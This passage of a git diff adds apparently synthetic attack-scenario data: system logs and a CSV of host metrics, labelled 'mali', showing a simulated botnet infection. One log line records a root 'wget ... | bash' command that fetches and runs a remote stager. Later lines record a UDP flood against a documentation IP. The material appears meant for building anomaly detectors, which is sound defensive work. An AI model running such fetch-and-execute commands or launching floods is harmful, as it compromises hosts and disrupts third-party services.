DST=198.51.100.112 PROTO=UDP SPT=62018 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28793 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37226 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33554 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64099 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25618 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41520 DPT=80 +Aug 16 16:06:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28427 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53939 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45673 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63500 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34188 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53493 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11353 DPT=80 +Aug 16 16:06:05 CRON[1973]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64365 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47120 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37954 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19933 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29406 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46711 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49496 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54354 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35587 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13490 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59941 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11958 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36803 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=15276 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48987 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27583 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45159 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29658 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23387 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18335 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13827 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18274 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57810 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34904 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25779 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10504 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27387 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20084 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13113 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36928 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56512 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27801 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58806 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16973 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46603 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29367 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17377 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61517 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48189 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=40788 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64094 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16003 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61539 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34659 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44827 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45679 DPT=80 +Aug 16 16:06:40 systemd[1]: Starting Clean php session files... +Aug 16 16:06:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14156 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32921 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56378 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31732 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13753 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34918 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54607 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26910 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46138 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54344 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26193 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25642 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17120 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16567 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64065 DPT=80 +Aug 16 16:06:50 bot-agent[23499]: Flood finished. Cleaning up child processes. +Aug 16 16:07:05 CRON[1985]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_8.csv b/mali_dataset/scenario_2/mali_2_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..0067a513e980d00e4b73e323cde36834ba4d44b7 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T18:00:00Z,12.74,45.29,32.62,1.67,2.57 +2025-08-16T18:00:05Z,16.75,47.61,31.88,1.24,2.44 +2025-08-16T18:00:10Z,8.62,41.71,30.2,1.66,1.51 +2025-08-16T18:00:15Z,15.98,43.32,23.67,1.58,1.9 +2025-08-16T18:00:20Z,15.14,43.58,33.86,1.72,2.75 +2025-08-16T18:00:25Z,8.32,48.11,23.39,1.9,2.26 +2025-08-16T18:00:30Z,10.78,48.82,31.19,1.95,2.6 +2025-08-16T18:00:35Z,10.7,40.86,27.73,1.04,1.73 +2025-08-16T18:00:40Z,17.2,42.33,29.62,1.02,1.82 +2025-08-16T18:00:45Z,9.79,43.92,23.76,1.66,1.55 +2025-08-16T18:00:50Z,16.7,45.92,27.04,1.24,1.93 +2025-08-16T18:00:55Z,13.28,44.63,23.73,1.72,2.28 +2025-08-16T18:01:00Z,14.63,47.82,21.75,1.52,1.57 +2025-08-16T18:01:05Z,11.06,43.2,29.89,1.49,1.75 +2025-08-16T18:01:10Z,14.02,40.45,28.43,1.28,1.9 +2025-08-16T18:01:15Z,13.55,40.14,34.24,1.87,1.61 +2025-08-16T18:01:20Z,16.26,49.47,28.66,1.39,2.56 +2025-08-16T18:01:25Z,13.69,41.93,33.9,1.89,1.71 +2025-08-16T18:01:30Z,8.15,44.07,27.55,1.38,2.64 +2025-08-16T18:01:35Z,17.92,42.68,30.89,1.21,1.8 +2025-08-16T18:01:40Z,16.87,42.85,29.22,1.49,2.78 +2025-08-16T18:01:45Z,17.96,46.43,27.48,1.29,1.51 +2025-08-16T18:01:50Z,17.1,46.96,34.33,1.99,2.37 +2025-08-16T18:01:55Z,12.5,42.19,25.49,1.94,1.86 +2025-08-16T18:02:00Z,12.17,47.22,33.41,1.12,1.75 +2025-08-16T18:02:05Z,10.61,43.86,28.16,1.72,2.79 +2025-08-16T18:02:10Z,99.66,57.76,4.81,0.58,975.74 +2025-08-16T18:02:15Z,98.42,55.36,5.12,0.25,901.33 +2025-08-16T18:02:20Z,97.1,57.7,5.93,0.59,1069.06 +2025-08-16T18:02:25Z,96.2,53.43,5.4,0.37,1107.3 +2025-08-16T18:02:30Z,98.24,54.81,2.19,0.39,974.57 +2025-08-16T18:02:35Z,97.1,55.39,4.99,0.24,922.56 +2025-08-16T18:02:40Z,96.35,57.61,2.32,0.47,1050.59 +2025-08-16T18:02:45Z,96.42,57.68,5.37,0.53,1090.84 +2025-08-16T18:02:50Z,99.3,54.81,3.29,0.31,1072.02 +2025-08-16T18:02:55Z,97.98,59.85,2.83,0.22,1119.63 +2025-08-16T18:03:00Z,97.09,53.15,2.65,0.51,1039.31 +2025-08-16T18:03:05Z,96.12,52.62,2.07,0.59,1037.43 +2025-08-16T18:03:10Z,98.22,57.47,2.67,0.21,1062.12 +2025-08-16T18:03:15Z,99.73,57.73,2.83,0.58,930.2 +2025-08-16T18:03:20Z,98.34,50.03,5.91,0.4,940.07 +2025-08-16T18:03:25Z,97.2,58.09,3.29,0.43,1028.76 +2025-08-16T18:03:30Z,99.02,54.83,3.49,0.29,1020.75 +2025-08-16T18:03:35Z,96.52,55.6,2.06,0.27,916.99 +2025-08-16T18:03:40Z,99.21,50.94,4.09,0.32,1056.12 +2025-08-16T18:03:45Z,97.93,57.09,2.73,0.46,957.04 +2025-08-16T18:03:50Z,97.74,59.55,3.62,0.56,1182.45 +2025-08-16T18:03:55Z,98.04,55.91,4.49,0.29,930.47 +2025-08-16T18:04:00Z,96.61,52.41,2.52,0.29,1041.75 +2025-08-16T18:04:05Z,96.46,58.18,4.8,0.49,1020.11 +2025-08-16T18:04:10Z,98.27,50.46,2.97,0.25,1081.52 +2025-08-16T18:04:15Z,96.26,54.08,3.81,0.58,935.11 +2025-08-16T18:04:20Z,97.35,54.21,2.88,0.39,1094.33 +2025-08-16T18:04:25Z,97.97,54.39,2.1,0.43,1032.54 +2025-08-16T18:04:30Z,96.39,53.42,3.92,0.48,1015.98 +2025-08-16T18:04:35Z,97.04,56.2,3.59,0.37,1169.85 +2025-08-16T18:04:40Z,96.36,57.04,3.5,0.31,933.75 +2025-08-16T18:04:45Z,98.67,58.1,5.88,0.55,1117.71 +2025-08-16T18:04:50Z,99.69,51.71,3.09,0.49,1047.51 +2025-08-16T18:04:55Z,98.71,50.31,5.35,0.32,1057.88 +2025-08-16T18:05:00Z,99.84,57.84,2.08,0.24,1042.88 +2025-08-16T18:05:05Z,96.36,50.76,5.92,0.28,1056.46 +2025-08-16T18:05:10Z,98.17,58.5,2.54,0.31,1160.53 +2025-08-16T18:05:15Z,96.9,59.48,3.01,0.57,1192.84 +2025-08-16T18:05:20Z,98.89,57.43,5.12,0.41,1104.0 +2025-08-16T18:05:25Z,97.92,59.22,4.3,0.53,1003.64 +2025-08-16T18:05:30Z,97.57,54.49,5.07,0.58,1124.27 +2025-08-16T18:05:35Z,97.58,55.38,4.7,0.24,949.03 +2025-08-16T18:05:40Z,98.29,52.72,3.52,0.56,964.39 +2025-08-16T18:05:45Z,99.39,55.74,2.82,0.22,1041.19 +2025-08-16T18:05:50Z,97.54,53.23,4.69,0.59,1091.97 +2025-08-16T18:05:55Z,99.61,52.61,2.45,0.27,969.17 +2025-08-16T18:06:00Z,99.85,53.8,5.31,0.37,1084.89 +2025-08-16T18:06:05Z,96.6,56.64,5.98,0.58,1044.6 +2025-08-16T18:06:10Z,97.04,50.88,4.82,0.49,989.6 +2025-08-16T18:06:15Z,97.34,58.88,4.56,0.41,935.78 +2025-08-16T18:06:20Z,99.02,53.62,3.26,0.56,1084.54 +2025-08-16T18:06:25Z,99.1,55.49,5.37,0.3,1132.3 +2025-08-16T18:06:30Z,99.47,59.91,3.18,0.45,1055.86 +2025-08-16T18:06:35Z,96.93,50.02,3.43,0.35,999.11 +2025-08-16T18:06:40Z,18.42,45.03,25.73,1.0,1.96 +2025-08-16T18:06:45Z,19.77,51.19,29.48,1.15,2.55 +2025-08-16T18:06:50Z,13.05,48.46,37.9,1.09,2.86 +2025-08-16T18:06:55Z,19.79,47.54,29.63,1.42,2.68 +2025-08-16T18:07:00Z,17.6,44.56,29.81,1.52,2.41 +2025-08-16T18:07:05Z,17.55,50.81,24.71,1.61,2.45 +2025-08-16T18:07:10Z,13.61,44.15,31.91,1.55,2.82 +2025-08-16T18:07:15Z,16.61,51.97,23.41,0.98,2.82 +2025-08-16T18:07:20Z,11.39,45.1,37.52,1.3,3.15 +2025-08-16T18:07:25Z,12.86,43.18,25.7,1.76,3.49 diff --git a/mali_dataset/scenario_2/mali_2_8.log b/mali_dataset/scenario_2/mali_2_8.log new file mode 100644 index 0000000000000000000000000000000000000000..6f00da82c42f12f9b19a213faff1cc3719346176 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_8.log @@ -0,0 +1,392 @@ +Aug 16 18:00:00 systemd[1]: Starting Clean php session files... +Aug 16 18:00:05 CRON[1901]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:00:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 18:01:05 CRON[1913]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:01:40 systemd[1]: Starting Clean php session files... +Aug 16 18:02:05 CRON[1925]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:02:10 bash[23456]: (root) CMD (wget -q -O - http://192.168.50.10/stager | bash) +Aug 16 18:02:12 bot-agent[23499]: Executing UDP flood against 192.0.2.254:80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42665 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44980 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38862 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10608 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47238 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16157 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41543 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60539 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35409 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61664 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49988 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33735 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15118 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31136 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60392 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18822 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49351 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21543 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40688 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37119 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11551 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47209 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28551 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48697 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13216 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58952 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15910 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53154 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=14246 DPT=80 +Aug 16 18:02:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41076 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29569 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26541 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18412 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24442 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21536 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61864 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10706 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47041 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27262 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25757 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27968 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15866 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35478 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12652 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=52482 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43593 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11030 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19453 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12582 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19400 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39882 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34317 DPT=80 +Aug 16 18:02:55 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29874 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44660 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26449 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38514 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65118 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34411 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50625 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65139 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP 